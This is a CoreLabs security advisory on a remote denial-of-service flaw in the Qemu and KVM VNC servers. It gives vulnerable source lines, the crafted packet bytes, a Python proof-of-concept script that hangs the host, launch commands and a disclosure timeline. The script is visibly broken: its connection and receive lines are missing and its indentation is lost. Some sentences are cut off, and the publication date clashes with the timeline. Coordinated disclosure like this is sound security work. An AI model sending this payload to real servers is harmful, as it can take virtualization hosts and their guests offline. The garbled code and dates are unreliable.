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Core Security Technologies - CoreLabs Advisory

Qemu and KVM VNC server remote DoS

1. *Advisory Information*

Title: Qemu and KVM VNC server remote DoS
Advisory ID: CORE-2008-1210
Advisory URL: http://www.coresecurity.com/content/vnc-remote-dos
Date published: 2009-12-22
Date of last update: 2008-12-19
Vendors contacted: Qemu and KVM teams
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32910
CVE Name: N/A

3. *Vulnerability Description*

The VNC server of Qemu and KVM virtualization solutions are vulnerable
to a remote DoS, when specially crafted packets are received by the host
VNC server causing an infinite loop.

Successful exploitation causes the host server to enter an infinite loop
and cease to function. The vulnerability can be triggered remotely by
external hosts or virtualized guests. No special privileges are required
to perform the Denial of Service.

4. *Vulnerable packages*

. Qemu 0.9.1 and older
. kvm-79 and older

5. *Vendor Information, Solutions and Workarounds*

Qemu and KVM teams will release patches that fix this vulnerability.

6. *Credits*

This vulnerability was discovered and researched by Alfredo Ortega from
Core Security Technologies.

7. *Technical Description / Proof of Concept Code*

The function 'protocol_client_msg()' in the file 'vnc.c' ('qemu/vnc.c'
in kvm-66) is in charge of processing incoming VNC low-level messages. A
listing of the vulnerable source follows:


1185: static int protocol_client_msg(VncState *vs, uint8_t *data, size_t
1186: {
1187: int i;
1188: uint16_t limit;
1190: switch (data[0]) {


1201: case 2:
1202: if (len == 1)
1203: return 4;
1205: if (len == 4)
1206: return 4 + (read_u16(data, 2) * 4);

- -----------/

When the VNC server receives a message consisting of '\x02\x00\x00\x00'
the 'read_u16()' function will return zero, and an infinite loop will be
triggered, because this function will be called with the len parameter
always equal to 4.

7.1. *Proof of Concept*

The following python script implements a basic VNC client that triggers
the vulnerability on the VNC server.

*NOTE:* Some VNC servers like KVM, don't bind to by default, but
the server can still be reached from a guest VM when no VNC client is



Launch vulnerable qemu:

~$qemu ./test.img - -vnc

Launch attack:

~$python qemu-kvm-DoS.py localhost 5900

- -----------/


## vnc remote DoS

import socket
import time
import struct
import sys

if len(sys.argv)<3:
print "Usage: %s host port" % sys.argv[0]

host = sys.argv[1] # "" # debian 4
port = int(sys.argv[2]) # 5900

s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# rec-send versions
srvversion = s.recv(100)
print "Server version: %s" % srvversion

#Security types

print "Number of security types: %d" % ord(sec[0])

# Authentication result
if auth=="\x00\x00\x00\x00":
print "Auth ok."

# Share desktop flag: no

# Server framebuffer parameters:

# Trigger the bug
s.send("\x02\x00\x00\x00\x00\xff"+struct.pack("<L" ,1)*5)


- -----------/

8. *Report Timeline*

.. 2008-12-10: Core Security Technologies notifies the Qemu, Xen and KVM
teams of the vulnerability.
.. 2008-12-11: KVM team acknowledges notification.
.. 2008-12-12: Core sends technical details of the vulnerability to the
KVM team.
.. 2008-12-13: KVM team informs that it will inform the Qemu team, since
the vulnerable code is inherited from Qemu.
.. 2008-12-16: Core replies that the vulnerability is present in Qemu,
KVM and Xen, and that its intention is to coordinate the disclosure of
this issue with the three teams. The proposed publication date is
January 5th, 2009.
.. 2008-12-16: Xen team acknowledges notification.
.. 2008-12-16: Core sends technical details to the Xen team.
.. 2008-12-16: Qemu team confirms the vulnerability, and has patches ready.
.. 2008-12-17: Xen informs that they are not vulnerable.
.. 2008-12-17: Core proposes to disclose the issue on December 22nd,
2008, if both Qemu and KVM have patches ready.
.. 2008-12-18: Qemu and KVM teams agree to publish the issue on Dec 22.
.. 2008-12-22: The advisory CORE-2008-1210 is published.

9. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

10. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at

11. *Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

12. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
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